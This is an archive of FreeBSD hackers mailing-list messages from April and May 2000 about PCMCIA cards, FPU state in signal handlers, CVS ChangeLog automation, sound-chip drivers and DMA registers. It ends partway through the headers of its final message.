From owner-freebsd-hackers Sun Apr 30 6:30:10 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mauibuilt.com (mauibuilt.com [205.166.249.50]) by hub.freebsd.org (Postfix) with ESMTP id 4204037BCA6 for ; Sun, 30 Apr 2000 06:30:08 -0700 (PDT) (envelope-from freebsd@mauibuilt.com) Received: (from freebsd@localhost) by mauibuilt.com (8.9.3/8.9.3) id DAA09538 for freebsd-hackers@freebsd.org; Sun, 30 Apr 2000 03:44:47 -1000 (HST) (envelope-from freebsd) From: FreeBSD MAIL Message-Id: <200004301344.DAA09538@mauibuilt.com> Subject: Xircom Card To: freebsd-hackers@freebsd.org Date: Sun, 30 Apr 2000 03:44:46 -1000 (HST) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just cvsuped and built a kernel as of Sun Apr 30 03:20:08 HST 2000. Despite the probing which goes on when I insert the card and somtimes shortly after I ifconfig it, the Xircom 16bit card seems to work fine. I also have a Card Buss Xircom card which I could also test with. RP puga@mauibuilt.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Apr 30 6:46:27 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from kweetal.tue.nl (kweetal.tue.nl [131.155.2.7]) by hub.freebsd.org (Postfix) with ESMTP id 3443637BCBA for ; Sun, 30 Apr 2000 06:46:23 -0700 (PDT) (envelope-from marcov@toad.stack.nl) Received: from hermes.tue.nl [131.155.2.46] by kweetal.tue.nl (8.9.3) for id PAA29422 (ESMTP); Sun, 30 Apr 2000 15:46:20 +0200 (MDT) Received: from deathstar (n170.dial.tue.nl [131.155.209.169]) by hermes.tue.nl (Postfix) with ESMTP id C29D82E806 for ; Sun, 30 Apr 2000 15:46:19 +0200 (CEST) From: "Marco van de Voort" To: hackers@freebsd.org Date: Sun, 30 Apr 2000 15:46:27 +0100 Subject: fp statusword in sigcontext X-mailer: Pegasus Mail for Win32 (v3.12b) Message-Id: <20000430134619.C29D82E806@hermes.tue.nl> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I want a signalhandler, which splits out sigfpe to the different copro signals. I found a linux example, which is based on the statusword field of the sigcontext structure passed to the signalhandler set Problem is that the linux sigcontext has a field for the floatingpoint statusword, while the BSD sigcontext (machine/signal.h) has only two arrays of int's: (FPU part struct sigcontext * XXX FPU state is 27 * 4 bytes h/w, 1 * 4 bytes s/w (probably not * needed here), or that + 16 * 4 bytes for emulators (probably all * needed here). The "spare" bytes are mostly not spare. */ int sc_fpregs[28]; /* machine state (FPU): */ int sc_spare[17]; }; Does somebody know how to distille the FP statusword from this struct? Marco van de Voort (MarcoV@Stack.nl) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Apr 30 7: 0:48 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from pcnet1.pcnet.com (pcnet1.pcnet.com [204.213.232.3]) by hub.freebsd.org (Postfix) with ESMTP id 7AB4E37BAD8 for ; Sun, 30 Apr 2000 07:00:44 -0700 (PDT) (envelope-from eischen@vigrid.com) Received: (from eischen@localhost) by pcnet1.pcnet.com (8.8.7/PCNet) id KAA08167; Sun, 30 Apr 2000 10:00:12 -0400 (EDT) Date: Sun, 30 Apr 2000 10:00:12 -0400 (EDT) From: Daniel Eischen To: Marco van de Voort Cc: hackers@FreeBSD.ORG Subject: Re: fp statusword in sigcontext In-Reply-To: <20000430134619.C29D82E806@hermes.tue.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 30 Apr 2000, Marco van de Voort wrote: > I want a signalhandler, which splits out sigfpe to the different copro > signals. I found a linux example, which is based on the statusword field of the > sigcontext structure passed to the signalhandler set > > Problem is that the linux sigcontext has a field for the floatingpoint statusword, > while the BSD sigcontext (machine/signal.h) has only two arrays of int's: > > (FPU part struct sigcontext > * XXX FPU state is 27 * 4 bytes h/w, 1 * 4 bytes s/w (probably not > * needed here), or that + 16 * 4 bytes for emulators (probably all > * needed here). The "spare" bytes are mostly not spare. > */ > int sc_fpregs[28]; /* machine state (FPU): */ > int sc_spare[17]; > }; > > Does somebody know how to distille the FP statusword from this struct? See and . struct fpreg { /* * XXX should get struct from npx.h. Here we give a slightly * simplified struct. This may be too much detail. Perhaps * an array of unsigned longs is best. */ unsigned long fpr_env[7]; unsigned char fpr_acc[8][10]; unsigned long fpr_ex_sw; unsigned char fpr_pad[64]; }; fpr_env should correspond to struct env87 in npx.h: /* Environment information of floating point unit */ struct env87 { long en_cw; /* control word (16bits) */ long en_sw; /* status word (16bits) */ long en_tw; /* tag word (16bits) */ long en_fip; /* floating point instruction pointer */ u_short en_fcs; /* floating code segment selector */ u_short en_opcode; /* opcode last executed (11 bits ) */ long en_foo; /* floating operand offset */ long en_fos; /* floating operand segment selector */ }; So your status word should be in sc_fpregs[1]. -- Dan Eischen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Apr 30 7:30:37 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from picalon.gun.de (picalon.gun.de [192.109.159.1]) by hub.freebsd.org (Postfix) with ESMTP id 47B1937BC35; Sun, 30 Apr 2000 07:30:25 -0700 (PDT) (envelope-from andreas@klemm.gtn.com) Received: (from uucp@localhost) by picalon.gun.de (8.9.3/8.9.3) id QAA25704; Sun, 30 Apr 2000 16:30:20 +0200 (MET DST) >Received: (from andreas@localhost) by klemm.gtn.com (8.9.3/8.9.3) id QAA66898; Sun, 30 Apr 2000 16:24:32 +0200 (CEST) (envelope-from andreas) Date: Sun, 30 Apr 2000 16:24:32 +0200 From: Andreas Klemm To: Matej Vela Cc: peter@FreeBSD.ORG, hackers@FreeBSD.ORG, apsfilter-cvs@srv1.cosmo-project.de Subject: cvs question (was Re: cvs commit: src/apsfilter SETUP ) Message-ID: <20000430162432.A66136@titan.klemm.gtn.com> References: <200004291842.e3TIg9k01314@srv1.cosmo-project.de> Mime-Version: 1.0 X-Mailer: Mutt 1.0.1i In-Reply-To: <200004291842.e3TIg9k01314@srv1.cosmo-project.de>; from vela@srv1.cosmo-project.de on Sat, Apr 29, 2000 at 08:42:08PM +0200 X-Operating-System: FreeBSD 5.0-CURRENT SMP X-Disclaimer: A free society is one where it is safe to be unpopular Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [ CC'd to peter and hackers because of CVS question ] On Sat, Apr 29, 2000 at 08:42:08PM +0200, Matej Vela wrote: > vela 2000/04/29 20:42:08 CEST > > Modified files: > apsfilter SETUP > Log: > Fixed the ordering of $MANDEST choices. > > Revision Changes Path > 1.79 +3 -3 src/apsfilter/SETUP You should also add a note into the ChangeLog file befor committing so that people without access to the CVS repository browser also can keep track of the changes ;-) Of course this should be done automatically by CVS. But this needs some thinking and work, which I possibly can't do in the next time. CVS has to be changed to know, that only apsfilter relevant patches are written into the ChangeLog file. Has to go to commit_prep.pl or log_accum.pl Don't know if it will be possible to let the just (by the commit) updated ChangeLog file be part of the commit, so that the new ChangeLog belongs to the commit .... maybe tricky ... I should ask Peter, if he thinks, if that will be possible. Peter, I want to save the work, to manually update the ChangeLog file. I want, that CVS automatically writes the commit logs to the ChangeLog file and let that be part of the just happening commit. Is this a chicken and egg problem, that the change of the ChangeLog file only could be part of the next committ ??? Andreas /// -- Andreas Klemm http://people.FreeBSD.ORG/~andreas http://www.freebsd.org/~fsmp/SMP/SMP.html powered by Symmetric MultiProcessor FreeBSD New APSFILTER 541 and songs from our band - http://people.freebsd.org/~andreas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Apr 30 10:29:20 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from field.videotron.net (field.videotron.net [205.151.222.108]) by hub.freebsd.org (Postfix) with ESMTP id 3337937B6C8 for ; Sun, 30 Apr 2000 10:29:17 -0700 (PDT) (envelope-from bmilekic@dsuper.net) Received: from modemcable009.62-201-24.mtl.mc.videotron.net ([24.201.62.9]) by field.videotron.net (Sun Internet Mail Server sims.3.5.1999.12.14.10.29.p8) with ESMTP id <0FTU00G5HB8F8Q@field.videotron.net> for hackers@freebsd.org; Sun, 30 Apr 2000 13:29:03 -0400 (EDT) Date: Sun, 30 Apr 2000 13:30:04 -0400 (EDT) From: Bosko Milekic Subject: Regarding PR 5877: sb_cc issues. X-Sender: bmilekic@jehovah.technokratis.com To: hackers@freebsd.org Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As I haven't seen [other] feedback yet to this PR posted by Bill Fenner, I'm curious as to what people's opinions are. (I should have cross-posted to -hackers when I first replied to it, as I believe that I've seen this mentionned previously, but not getting many replies). -- Bosko Milekic * pages.infinit.net/bmilekic/index.html * www.technokratis.com bmilekic@dsuper.net * bmilekic@technokratis.com * b.milekic@marianopolis.edu "Give a man a fish and he will eat for a day. Teach him how to fish, and he will sit in a boat and drink beer all day." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Apr 30 14:16:54 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from odysseus.gedankenpolizei.de (ip114.berlin68.pub-ip.de.psi.net [154.15.68.114]) by hub.freebsd.org (Postfix) with ESMTP id 0157437BA5F; Sun, 30 Apr 2000 14:16:46 -0700 (PDT) (envelope-from karsten@gedankenpolizei.de) Received: (from karsten@localhost) by odysseus.gedankenpolizei.de (8.9.3/8.9.3) id XAA16691; Sun, 30 Apr 2000 23:17:21 +0200 (CEST) (envelope-from karsten) From: Karsten Patzwaldt Date: Sun, 30 Apr 2000 22:51:50 +0200 To: Behcet Sarikaya Subject: Re: Yamaha DS-XG Sound Card or Chip? Message-ID: <20000430225150.A16028@odysseus.gedankenpolizei.de> References: <390A5E48.D91C6A6F@u-aizu.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <390A5E48.D91C6A6F@u-aizu.ac.jp>; from sarikaya@u-aizu.ac.jp on Sat, Apr 29, 2000 at 01:00:08PM +0900 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Apr 29, 2000 at 01:00:08PM +0900, Behcet Sarikaya wrote: > Have anyone successfully configured this card on FreeBSD? I think it is > an on board sound chip > in my Dell desktop. Quite possible, but there's no driver available for it yet. OSS has a kernel module, but this doesn't work with 4.0. Sigh. But Yamaha has released the programming information, including two sample programs, for their PCI chipsets. The ALSA guys have them, look at http://www.alsa-project.org/alsa/ftp/manuals/yamaha/pci/ for what Yamaha gave out. Is there anyone who is experienced in writing drivers for FreeBSD and who has some time left to give it a try? I thought about doing it myself, but I'm more of an application programmer 8) Regards, -- Karsten To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Apr 30 15: 7:53 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from nothing-going-on.demon.co.uk (nothing-going-on.demon.co.uk [193.237.89.66]) by hub.freebsd.org (Postfix) with ESMTP id 9330E37BF9F for ; Sun, 30 Apr 2000 15:07:47 -0700 (PDT) (envelope-from nik@nothing-going-on.demon.co.uk) Received: from kilt.nothing-going-on.org (kilt.nothing-going-on.org [192.168.1.18]) by nothing-going-on.demon.co.uk (8.9.3/8.9.3) with ESMTP id WAA51878; Sun, 30 Apr 2000 22:12:38 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Received: (from nik@localhost) by kilt.nothing-going-on.org (8.9.3/8.9.3) id NAA00665; Sat, 29 Apr 2000 13:30:22 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Date: Sat, 29 Apr 2000 13:30:21 +0100 From: Nik Clayton To: Chris Shenton Cc: Jeroen Hogeveen , hackers@FreeBSD.ORG Subject: Re: Asus K7V boot failure Message-ID: <20000429133021.A523@kilt.nothing-going-on.org> References: <3909FF8B.E8224960@EFMSoftware.COM> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from cshenton@uucom.com on Fri, Apr 28, 2000 at 04:13:32PM -0400 Organization: FreeBSD Project Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Apr 28, 2000 at 04:13:32PM -0400, Chris Shenton wrote: > On Fri, 28 Apr 2000 23:15:55 +0200, Jeroen Hogeveen said: > Jeroen> Hey Chris and Jordan, I've got one too, you should however > Jeroen> disable your boot virus protection in the bios setup! > Jeroen> This will fix the problem you described. > Jeroen> Maybe something to mention in the FAQ, if it is not yet there. > > Yup, fixed here, and something definetely for an FAQ. > > Many thanks! I'll be committing this information shortly. N -- Internet connection, $19.95 a month. Computer, $799.95. Modem, $149.95. Telephone line, $24.95 a month. Software, free. USENET transmission, hundreds if not thousands of dollars. Thinking before posting, priceless. Somethings in life you can't buy. For everything else, there's MasterCard. -- Graham Reed, in the Scary Devil Monastery To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Apr 30 15: 9:10 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from nothing-going-on.demon.co.uk (nothing-going-on.demon.co.uk [193.237.89.66]) by hub.freebsd.org (Postfix) with ESMTP id 5156B37BD86; Sun, 30 Apr 2000 15:09:00 -0700 (PDT) (envelope-from nik@nothing-going-on.demon.co.uk) Received: from kilt.nothing-going-on.org (kilt.nothing-going-on.org [192.168.1.18]) by nothing-going-on.demon.co.uk (8.9.3/8.9.3) with ESMTP id WAA51885; Sun, 30 Apr 2000 22:12:38 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Received: (from nik@localhost) by kilt.nothing-going-on.org (8.9.3/8.9.3) id PAA00917; Sat, 29 Apr 2000 15:04:31 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Date: Sat, 29 Apr 2000 15:04:31 +0100 From: Nik Clayton To: Koschinsky Stanislav Cc: doc@freebsd.org, hackers@freebsd.org Subject: Re: Maybe need to be corrected? Message-ID: <20000429150431.B706@kilt.nothing-going-on.org> References: <000801bfb056$939ed800$f6e632c1@univtroyes.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <000801bfb056$939ed800$f6e632c1@univtroyes.fr>; from stanislav.koschinsky@univ-troyes.fr on Thu, Apr 27, 2000 at 04:40:19PM +0200 Organization: FreeBSD Project Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Stanislav, I'm replying to this and including the -hackers list, in the hope that someone can confirm this. Thanks for getting in touch. N On Thu, Apr 27, 2000 at 04:40:19PM +0200, Koschinsky Stanislav wrote: > I've read the part of FreeBSD book 21.3 "DMA: What it is and how it > works". I like it very much. But I suppose that there is a mistakes (or > misprints maybe) in descriptions of "DMA Address and Count Registers" > and "DMA command registers". The numbers of registers does not > correspond ones that are in the description of IBM compaitible XT > computer. (DMA Registers: 0x2, 0x4, 0x6 etc.) > > I think there should be something like this: > > 0x0 write/read Channel 0 starting/current address > 0x2 write/read Channel 1 starting/current address > 0x4 write/read Channel 2 starting/current address > 0x6 write/read Channel 3 starting/current address > 0x1 write/read Channel 0 starting/remaining byte count > 0x3 write/read Channel 1 starting/remaining byte count > 0x5 write/read Channel 2 starting/remaining byte count > 0x7 write/read Channel 3 starting/remaining byte count > > 0x8 write/read command register > 0x9 write request register > ... > Please, verify the numbers. -- Internet connection, $19.95 a month. Computer, $799.95. Modem, $149.95. Telephone line, $24.95 a month. Software, free. USENET transmission, hundreds if not thousands of dollars. Thinking before posting, priceless. Somethings in life you can't buy. For everything else, there's MasterCard. -- Graham Reed, in the Scary Devil Monastery To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 7: 6:39 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from nothing-going-on.demon.co.uk (nothing-going-on.demon.co.uk [193.237.89.66]) by hub.freebsd.org (Postfix) with ESMTP id 7FE1F37BE7F for ; Mon, 1 May 2000 07:06:07 -0700 (PDT) (envelope-from nik@nothing-going-on.demon.co.uk) Received: from kilt.nothing-going-on.org (kilt.nothing-going-on.org [192.168.1.18]) by nothing-going-on.demon.co.uk (8.9.3/8.9.3) with ESMTP id NAA68520 for ; Mon, 1 May 2000 13:47:31 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Received: (from nik@localhost) by kilt.nothing-going-on.org (8.9.3/8.9.3) id LAA03961 for hackers@freebsd.org; Mon, 1 May 2000 11:32:28 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Date: Mon, 1 May 2000 11:32:28 +0100 From: Nik Clayton To: hackers@freebsd.org Subject: /usr/share/examples/cvsup -> /usr/local/share/examples/cvsup Message-ID: <20000501113228.B3912@kilt.nothing-going-on.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Organization: FreeBSD Project Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Folks, Would anyone object to pulling /usr/share/examples/cvsup out of the base system, and into /usr/local/share/examples/cvsup, to be installed by the CVSup port? There's no technical reason for the change, but it would be more consistent with our other ports. N -- Internet connection, $19.95 a month. Computer, $799.95. Modem, $149.95. Telephone line, $24.95 a month. Software, free. USENET transmission, hundreds if not thousands of dollars. Thinking before posting, priceless. Somethings in life you can't buy. For everything else, there's MasterCard. -- Graham Reed, in the Scary Devil Monastery To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 7:25:32 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from overcee.netplex.com.au (peter1.yahoo.com [208.48.107.4]) by hub.freebsd.org (Postfix) with ESMTP id F329937BB88; Mon, 1 May 2000 07:25:24 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id 3C4641CD7; Mon, 1 May 2000 07:25:17 -0700 (PDT) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: Nik Clayton Cc: hackers@FreeBSD.ORG Subject: Re: /usr/share/examples/cvsup -> /usr/local/share/examples/cvsup In-Reply-To: Message from Nik Clayton of "Mon, 01 May 2000 11:32:28 BST." <20000501113228.B3912@kilt.nothing-going-on.org> Date: Mon, 01 May 2000 07:25:17 -0700 From: Peter Wemm Message-Id: <20000501142517.3C4641CD7@overcee.netplex.com.au> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Nik Clayton wrote: > Folks, > > Would anyone object to pulling /usr/share/examples/cvsup out of the base > system, and into /usr/local/share/examples/cvsup, to be installed by the > CVSup port? There's no technical reason for the change, but it would be > more consistent with our other ports. Which cvsup port would get it? There are two... And what about the folks who ftp the binary and never install the ports collection? They use the /usr/share/examples stuff as a base. I certainly do not install the ports dist at sysinstall time and only do so eventually after cvsup'ing the ncvs tree and checking source and ports out of there. Also, the share/examples stuff is supposed to be preset for getting the active branch that the release is from, when using checkout mode. To duplicate that in the port you'd need multiple versions of the files and be sensitive on the OS version. Cheers, -Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 8:51:33 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.79.126]) by hub.freebsd.org (Postfix) with ESMTP id 1BE3D37B665; Mon, 1 May 2000 08:51:26 -0700 (PDT) (envelope-from nate@yogotech.com) Received: from nomad.yogotech.com (nomad.yogotech.com [206.127.79.115]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id JAA16368; Mon, 1 May 2000 09:51:20 -0600 (MDT) (envelope-from nate@nomad.yogotech.com) Received: (from nate@localhost) by nomad.yogotech.com (8.8.8/8.8.8) id JAA08818; Mon, 1 May 2000 09:51:20 -0600 (MDT) (envelope-from nate) Date: Mon, 1 May 2000 09:51:20 -0600 (MDT) Message-Id: <200005011551.JAA08818@nomad.yogotech.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Behcet Sarikaya Cc: FreeBSD Questions , Thomas Uhrfelt , freebsd-hackers@FreeBSD.ORG Subject: Re: Yamaha DS-XG Sound Card or Chip? In-Reply-To: <390A5E48.D91C6A6F@u-aizu.ac.jp> References: <390A5E48.D91C6A6F@u-aizu.ac.jp> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Have anyone successfully configured this card on FreeBSD? I think it > is an on board sound chip in my Dell desktop. FWIW, the board I have in my wife's box is *very* unstable in Win98, so we ended up sticking in a SoundBlaster-PCI board in the box and we've not had a problem since. I can't imagine it would be better in FreeBSD. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 9:26:29 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.totalise.co.uk (mail.totalise.co.uk [212.1.157.18]) by hub.freebsd.org (Postfix) with ESMTP id 2D64A37B9D2 for ; Mon, 1 May 2000 09:26:24 -0700 (PDT) (envelope-from jad@totalise.co.uk) Received: from idnlrsz2hx5b4a [195.72.32.32] (jad@totalise.co.uk); Mon, 1 May 2000 17:26:58 +0100 X-WM-Posted-At: mail.totalise.co.uk; Mon, 1 May 00 17:26:58 +0100 From: "Jad Kanji" To: Subject: Date: Sun, 30 Apr 2000 00:34:49 +0100 Message-ID: <000001bfb389$36ea9d20$202048c3@idnlrsz2hx5b4a> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 9:39:57 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from info.iet.unipi.it (info.iet.unipi.it [131.114.9.184]) by hub.freebsd.org (Postfix) with ESMTP id 8A33537B511; Mon, 1 May 2000 09:39:41 -0700 (PDT) (envelope-from luigi@info.iet.unipi.it) Received: (from luigi@localhost) by info.iet.unipi.it (8.9.3/8.9.3) id SAA45048; Mon, 1 May 2000 18:40:03 +0200 (CEST) (envelope-from luigi) From: Luigi Rizzo Message-Id: <200005011640.SAA45048@info.iet.unipi.it> Subject: Re: Yamaha DS-XG Sound Card or Chip? In-Reply-To: <200005011551.JAA08818@nomad.yogotech.com> from Nate Williams at "May 1, 2000 09:51:20 am" To: Nate Williams Date: Mon, 1 May 2000 18:40:03 +0200 (CEST) Cc: Behcet Sarikaya , FreeBSD Questions , Thomas Uhrfelt , freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > FWIW, the board I have in my wife's box is *very* unstable in Win98, so > we ended up sticking in a SoundBlaster-PCI board in the box and we've > not had a problem since. I can't imagine it would be better in FreeBSD. i have to say it is more a matter of driver's quality (including the ability to sidestep bugs in the hw itself) than board's quality. cheers luigi -----------------------------------+------------------------------------- Luigi RIZZO, luigi@iet.unipi.it . Dip. di Ing. dell'Informazione http://www.iet.unipi.it/~luigi/ . Universita` di Pisa TEL/FAX: +39-050-568.533/522 . via Diotisalvi 2, 56126 PISA (Italy) Mobile +39-347-0373137 -----------------------------------+------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 10: 2:46 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by hub.freebsd.org (Postfix) with ESMTP id 6C1F037BD9F; Mon, 1 May 2000 10:02:40 -0700 (PDT) (envelope-from faber@ISI.EDU) Received: from ted.isi.edu (ted.isi.edu [128.9.160.104]) by boreas.isi.edu (8.8.7/8.8.6) with ESMTP id KAA26032; Mon, 1 May 2000 10:02:38 -0700 (PDT) Received: from ted.isi.edu (localhost [127.0.0.1]) by ted.isi.edu (8.9.3/8.9.3) with ESMTP id KAA42168; Mon, 1 May 2000 10:02:37 -0700 (PDT) (envelope-from faber@ted.isi.edu) Message-Id: <200005011702.KAA42168@ted.isi.edu> X-Mailer: exmh version 2.1.1 10/15/1999 To: Behcet Sarikaya Cc: FreeBSD Questions , Thomas Uhrfelt , freebsd-hackers@freebsd.org Subject: Re: Yamaha DS-XG Sound Card or Chip? In-Reply-To: Your message of "Sat, 29 Apr 2000 13:00:08 +0900." <390A5E48.D91C6A6F@u-aizu.ac.jp> X-Url: http://www.isi.edu/~faber Date: Mon, 01 May 2000 10:02:37 -0700 From: Ted Faber Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Content-Type: text/plain; charset=us-ascii Behcet Sarikaya wrote: >Have anyone successfully configured this card on FreeBSD? I think it is >an on board sound chip >in my Dell desktop. I'm running the OpenSound drivers on it under 3.4. It seems to work pretty well, but I don't press it very hard. http://www.opensound.com/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.1 (FreeBSD) Comment: Exmh version 2.1.1 10/15/1999 iD8DBQE5DbitaUz3f+Zf+XsRApwzAKC8knHwsGf5vJdkQlyyOmn+p8/J1wCgyZ5P hFW6RLfvQB9CK/tbOqwnBnE= =blAu -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 12:59:25 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 3F8BB37BC3F for ; Mon, 1 May 2000 12:59:21 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id NAA12058; Mon, 1 May 2000 13:59:13 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id NAA18498; Mon, 1 May 2000 13:59:01 -0600 (MDT) Message-Id: <200005011959.NAA18498@harmony.village.org> To: FreeBSD MAIL Subject: Re: Xircom Card Cc: freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Sun, 30 Apr 2000 03:44:46 -1000." <200004301344.DAA09538@mauibuilt.com> References: <200004301344.DAA09538@mauibuilt.com> Date: Mon, 01 May 2000 13:59:00 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200004301344.DAA09538@mauibuilt.com> FreeBSD MAIL writes: : I just cvsuped and built a kernel as of Sun Apr 30 03:20:08 HST 2000. : Despite the probing which goes on when I insert the card and somtimes : shortly after I ifconfig it, the Xircom 16bit card seems to work fine. Cool. that's two reports of success. Now, to fix the 56k combo card problems... : I also have a Card Buss Xircom card which I could also test with. I have several of these. It will be a while before you'll have something to test. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 13: 3: 2 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 88D7F37B62F for ; Mon, 1 May 2000 13:02:58 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id OAA12077; Mon, 1 May 2000 14:02:56 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id OAA18531; Mon, 1 May 2000 14:02:44 -0600 (MDT) Message-Id: <200005012002.OAA18531@harmony.village.org> To: Darren Reed Subject: Re: FreeBSD-4.0 PCMCIA broken ? Cc: hackers@FreeBSD.ORG In-reply-to: Your message of "Fri, 28 Apr 2000 20:32:48 +1000." <200004281032.UAA01136@cairo.anu.edu.au> References: <200004281032.UAA01136@cairo.anu.edu.au> Date: Mon, 01 May 2000 14:02:44 -0600 From: Warner 